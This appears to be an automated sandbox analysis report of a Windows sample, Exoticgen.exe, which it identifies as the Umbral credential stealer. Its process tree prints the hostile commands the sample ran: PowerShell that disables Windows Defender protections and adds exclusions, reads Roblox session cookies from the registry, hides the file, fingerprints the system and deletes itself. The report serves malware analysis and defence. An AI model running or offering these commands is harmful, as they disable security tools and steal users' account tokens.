Overview

overview

10

Static

static

10

Exoticgen.exe

windows7-x64

10

Exoticgen.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240730-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-08-2024 01:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Exoticgen.exe

  • Size

    235KB

  • MD5

    099c16c602df2d705c4f68add9f4dcd7

  • SHA1

    a35dfa3f01bef023bd4170cf1c71099f259bc65d

  • SHA256

    3a01df550a7bbde4061d91acf6641acad0821c5005bb10c37a659493a1f69f6d

  • SHA512

    9055442927d4815a9d584b6881806aa2dded35cc679abf023cc9129efbd499457cc9e184f0f675431134651934984f8fda5a597ee74e6074a44b6887c56f777f

  • SSDEEP

    6144:jloZM+rIkd8g+EtXHkv/iD41+Ic5nsAvvOXZkQlu+Sb8e1m2i:BoZtL+EP81+Ic5nsAvvOXZkQlupw

Score
10/10
umbralcredential_accessdiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

    stealerumbral
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\Exoticgen.exe
    "C:\Users\Admin\AppData\Local\Temp\Exoticgen.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3668
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2292
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Exoticgen.exe"
      2⤵
      • Views/modifies file attributes
      PID:1268
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Exoticgen.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1304
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3596
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1916
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:320
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:2400
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:3212
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:3612
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:3196
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Exoticgen.exe" && pause
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:4828
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:440
      • C:\Windows\system32\taskmgr.exe
        "C:\Windows\system32\taskmgr.exe" /0
        1⤵
        • Checks SCSI registry key(s)
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        PID:5100

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        Filesize

        2KB

        MD5

        a43e653ffb5ab07940f4bdd9cc8fade4

        SHA1

        af43d04e3427f111b22dc891c5c7ee8a10ac4123

        SHA256

        c4c53abb13e99475aebfbe9fec7a8fead81c14c80d9dcc2b81375304f3a683fe

        SHA512

        62a97e95e1f19a8d4302847110dae44f469877eed6aa8ea22345c6eb25ee220e7d310fa0b7ec5df42356815421c0af7c46a0f1fee8933cc446641800eda6cd1b

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        944B

        MD5

        76692775e4781f0c9f0092f5804cfdb1

        SHA1

        6740e4e4110028c62282ee1e7eb8be576a2bc23a

        SHA256

        0c451ff3823450d544066237cbfb08556b7ca36c4a0ea085055f69ab35795b00

        SHA512

        6e0731e3736594d9e86da2fc33e08a663f29100074cc8d46e2716123c946b9eb150c804c7cf8428cac631e1cff984663d41ce3b5e1e77965bd8e2ecf0742af34

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        948B

        MD5

        c9b6705519e1eef08f86c4ba5f4286f3

        SHA1

        6c6b179e452ecee2673a1d4fe128f1c06f70577f

        SHA256

        0f9cad44a79126871580e19b01dc3f880c5173b1faaf8b9018d5d1f829714705

        SHA512

        6d8f85a7a8b0b124530f36a157cd0441b5c1eacdc35e274af9fbf0569d03d1d5e468651a5b2425f0215c282ecfa7b1ffeaeeaf18612822f00bd14306d30640c7

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        4950bb37b35849b09a86bc7c01c8952a

        SHA1

        f9650f41d105d3affa7b19d58ab336a92aab4793

        SHA256

        5d139a221345fe53f28d2a772c8e4c8e988925b6fc228c81baa98f824a44c67c

        SHA512

        5b39b845d6d53acd9a20fa1e3e081f7a4c5bbea4641ed53e6d1df8fb245a57e7a659cbdbdfe41ce642b6b2a7ff98b3dd3c9a5bcea7d226cead546d097f361a40

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        1KB

        MD5

        6317adf4fbc43ea2fd68861fafd57155

        SHA1

        6b87c718893c83c6eed2767e8d9cbc6443e31913

        SHA256

        c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

        SHA512

        17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgvyamag.uz2.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/1304-15-0x0000021FADC00000-0x0000021FADC22000-memory.dmp

        Filesize

        136KB

        Download

      • memory/1304-12-0x00007FFBF74C0000-0x00007FFBF7F81000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1304-18-0x00007FFBF74C0000-0x00007FFBF7F81000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1304-14-0x00007FFBF74C0000-0x00007FFBF7F81000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/1304-13-0x00007FFBF74C0000-0x00007FFBF7F81000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/3668-72-0x0000019861380000-0x0000019861392000-memory.dmp

        Filesize

        72KB

        Download

      • memory/3668-34-0x0000019861330000-0x0000019861380000-memory.dmp

        Filesize

        320KB

        Download

      • memory/3668-35-0x000001985F9F0000-0x000001985FA0E000-memory.dmp

        Filesize

        120KB

        Download

      • memory/3668-33-0x0000019879BD0000-0x0000019879C46000-memory.dmp

        Filesize

        472KB

        Download

      • memory/3668-2-0x00007FFBF74C0000-0x00007FFBF7F81000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/3668-71-0x00000198612F0000-0x00000198612FA000-memory.dmp

        Filesize

        40KB

        Download

      • memory/3668-0-0x000001985F520000-0x000001985F560000-memory.dmp

        Filesize

        256KB

        Download

      • memory/3668-1-0x00007FFBF74C3000-0x00007FFBF74C5000-memory.dmp

        Filesize

        8KB

        Download

      • memory/3668-90-0x00007FFBF74C0000-0x00007FFBF7F81000-memory.dmp

        Filesize

        10.8MB

        Download

      • memory/5100-93-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5100-92-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5100-91-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5100-97-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5100-103-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5100-102-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5100-101-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5100-100-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5100-99-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download

      • memory/5100-98-0x000001F732360000-0x000001F732361000-memory.dmp

        Filesize

        4KB

        Download